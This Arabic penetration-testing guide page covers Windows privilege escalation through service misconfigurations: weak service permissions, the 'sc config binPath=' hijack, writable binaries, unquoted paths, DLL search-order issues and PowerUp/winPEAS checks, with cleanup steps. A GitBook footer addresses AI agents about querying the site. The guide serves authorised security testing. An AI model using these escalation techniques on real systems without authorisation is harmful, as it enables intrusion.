> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md).

# سوء تهيئة خدمات Windows

تُعدّ الخدمات أحد أكثر مسارات تصعيد امتيازات Windows شيوعًا لأنها غالبًا ما تعمل كـ `LocalSystem` بينما تشير إلى ملفات أو أذونات يمكن للمستخدمين العاديين التأثير عليها.

## ما الذي يجب التحقق منه

قبل تغيير أي شيء، تحقّق من أربعة أمور:

* تعمل الخدمة بحساب ذي امتيازات مثل `LocalSystem`, `LocalService`, `NetworkService`، أو مسؤول محلي/مجال.
* يمكنك تعديل تكوين الخدمة أو الملف التنفيذي للخدمة أو مسارٍ أبٍ يُستخدم أثناء بدء التشغيل.
* يمكنك إعادة تشغيل الخدمة، أو تشغيل التطبيق، أو الانتظار حتى إعادة التشغيل.
* يتطابق المسار والمعمارية مع الحمولة أو الملف الثنائي للتحقق الذي تنوي تشغيله.

## استعرض الخدمات

```cmd
sc query state= all
sc qc <service_name>
sc sdshow <service_name>
wmic service get name,displayname,startname,state,pathname
```

```powershell
Get-WmiObject Win32_Service |
  Select-Object Name,StartName,State,PathName |
  Sort-Object StartName,Name
```

## تكوين خدمة ضعيف

إذا كان بإمكان حسابك تغيير مسار الملف الثنائي للخدمة وكانت الخدمة تعمل بامتيازات أعلى، فاجعله أولًا يشير إلى أمر تحقق مُصرَّح به.

```cmd
sc qc <service_name>
sc config <service_name> binPath= "cmd /c whoami > C:\Windows\Temp\svc-check.txt"
sc stop <service_name>
sc start <service_name>
type C:\Windows\Temp\svc-check.txt
```

تُعدّ AccessChk مفيدة لقراءة أذونات الخدمة بصيغة أوضح:

```cmd
accesschk.exe /accepteula -uwcqv <user_or_group> <service_name>
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
```

من الحقوق المهمة `SERVICE_CHANGE_CONFIG`, `SERVICE_START`, `SERVICE_STOP`، ووصول كتابة واسع النطاق لـ `المستخدمين`, `Authenticated Users`، أو `Everyone`.

## الملف الثنائي للخدمة قابل للكتابة

إذا كان الملف التنفيذي للخدمة قابلًا للكتابة، فاحتفظ بنسخة من الملف الأصلي، واستبدله فقط ضمن نطاق الاختبار، ثم أعده بعد التجربة.

```cmd
sc qc <service_name>
icacls "C:\Path\To\Service.exe"
copy "C:\Path\To\Service.exe" C:\Windows\Temp\Service.exe.bak
```

```powershell
Get-Acl "C:\Path\To\Service.exe" | Format-List
```

## مسار خدمة غير مقتبس

يصبح المسار غير المقتبس مثيرًا للاهتمام عندما يحتوي على مسافات ويمكن لـ Windows البحث في دليل أبٍ قابل للكتابة قبل الوصول إلى الملف التنفيذي الحقيقي.

```cmd
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
```

مثال على شكل قابل للاستغلال:

```
C:\Program Files\Vendor App\Service Folder\service.exe
```

تحقّق من أذونات الكتابة في كل دليل أبٍ:

```cmd
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
```

من الأسماء المحتمل البحث عنها:

```
C:\Program.exe
C:\Program Files\Vendor.exe
C:\Program Files\Vendor App\Service.exe
```

## مشكلات ترتيب البحث عن DLL

بعض الخدمات تُحمّل ملفات DLL بالاسم بدلًا من المسار الكامل. ويصبح ذلك قابلًا للاستغلال عندما يُبحث عن دليل قابل للكتابة قبل موقع DLL الشرعي.

```cmd
procmon.exe
```

رشّح حسب:

```
اسم العملية هو <service.exe>
النتيجة هي NAME NOT FOUND
ينتهي المسار بـ .dll
```

## التحققات الآلية

```powershell
Import-Module .\PowerUp.ps1
Invoke-AllChecks
```

```cmd
winPEASx64.exe servicesinfo
```

## تنظيف

```cmd
sc config <service_name> binPath= "<original_binary_path>"
sc start <service_name>
del C:\Windows\Temp\svc-check.txt
```

## النقاط الرئيسية

* لا تكون الخدمة القابلة للكتابة مفيدة إلا إذا كانت تُنفَّذ بامتيازات أعلى.
* تُعدّ القدرة على إعادة التشغيل مهمة. وبدونها، دوّن ما إذا كانت إعادة التشغيل أو استخدام التطبيق سيؤدي إلى تشغيل الخدمة.
* ينبغي أن تتضمن نتائج مسار الخدمة المسار الدقيق، وأدلة الأذونات، وحساب الخدمة، وشرط التشغيل.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
